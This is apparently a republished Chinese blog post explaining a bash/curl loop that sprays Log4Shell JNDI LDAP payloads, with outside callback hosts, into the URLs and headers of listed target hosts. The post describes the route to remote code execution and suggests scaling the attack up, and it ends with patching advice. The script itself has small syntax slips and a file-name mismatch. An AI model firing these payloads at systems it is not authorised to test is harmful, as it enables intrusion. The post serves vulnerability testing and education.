本月阅读需要3分钟;
首先,我们渗透使用的脚本如下:
Test-target.txt | while read host do; do curl -sk --insecure --path-as-is
"$host/?test=${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}"
-H "X-Api-Version:
${jndi:ldap://log4j.requestcatcher.com/a}"
-H "User-Agent:
${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}";done
01
脚本目的
02
脚本执行解析
-
Test-target.txt: 读取 Test-target.txt 文件的内容,该文件应该包含目标主机列表,每行一个主机;
-
while read host do; do ... done: 循环遍历 1.txt 文件中的每一行,将每一行内容赋值给变量 host;
-
curl -sk --insecure --path-as-is ...: 使用 curl 命令发送HTTP请求;
-sk: 忽略SSL证书错误,并静默模式运行(不显示进度条)。
--insecure: 禁用SSL证书验证。
--path-as-is: 不转义URL路径中的特殊字符。
-
"$host/test=${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}": 构造HTTP请求的URL,其中GET参数 test 的值包含JNDI注入Payload。
-
-H"X-Api-Version: ${jndi:ldap://log4j.requestcatcher.com/a}": 设置HTTP请求的 X-Api-Version header,其值也包含JNDI注入Payload。
-
-H"User-Agent: ${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}": 设置HTTP请求的 User-Agent header,其值也包含JNDI注入Payload。
03
脚本代码中使用不同的JNDI注入Payload
-
${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}
-
${jndi:ldap://log4j.requestcatcher.com/a}
这些Payload都利用了Log4j的JNDI lookup功能,可以使目标服务器从攻击者控制的LDAP服务器加载恶意代码,从而实现远程代码执行。
04
攻击的流程解析
-
攻击者将目标主机列表写入 Test-target.txt 文件;
-
攻击者运行这段代码;
-
代码循环遍历目标主机列表,并对每个主机发送包含JNDI注入Payload的HTTP请求;
-
如果目标主机存在Log4j漏洞,则会触发JNDI lookup,从攻击者控制的LDAP服务器加载恶意代码;
-
攻击者可以在恶意代码中执行任意命令,从而控制目标主机。
05
脚本的可持续扩展
-
Payload多样化: 可以使用不同的JNDI注入Payload,例如使用其他协议(如rmi、dns)或不同的攻击载荷;
-
攻击向量多样化: 可以将JNDI注入Payload嵌入到其他HTTP请求字段中,例如Cookie、Referer等。
-
目标端口扫描: 可以结合端口扫描工具,自动发现目标主机上开放的Web服务端口,并进行针对性的攻击。
-
自动化攻击: 可以将这段代码集成到自动化漏洞扫描工具中,例如Nuclei,实现批量化的漏洞扫描和利用。
06
知识点和经验-后续的学习路径建议
-
Log4j漏洞原理: 了解Log4j漏洞的原理,以及JNDI注入攻击的机制。
-
Payload构造: 学习如何构造JNDI注入Payload,以及如何将其嵌入到HTTP请求中。
-
攻击向量识别: 学习如何识别潜在的JNDI注入攻击向量,例如HTTP请求的各个字段。
-
安全工具使用: 学习如何使用 curl 等工具进行安全测试和漏洞利用;
-
安全防范意识: 提高对Log4j漏洞等安全风险的认识,并采取必要的安全防范措施。
07
安全建议
-
及时更新Log4j到最新版本;
-
禁用或限制Log4j的JNDI lookup功能;
-
使用防火墙阻止来自不可信来源的LDAP请求;
-
定期进行安全漏洞扫描,及时发现和修复安全隐患。
如果您觉得文章对您有所帮助,还请您关注我!
原文始发于微信公众号(再说安全):再探Log4jShell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论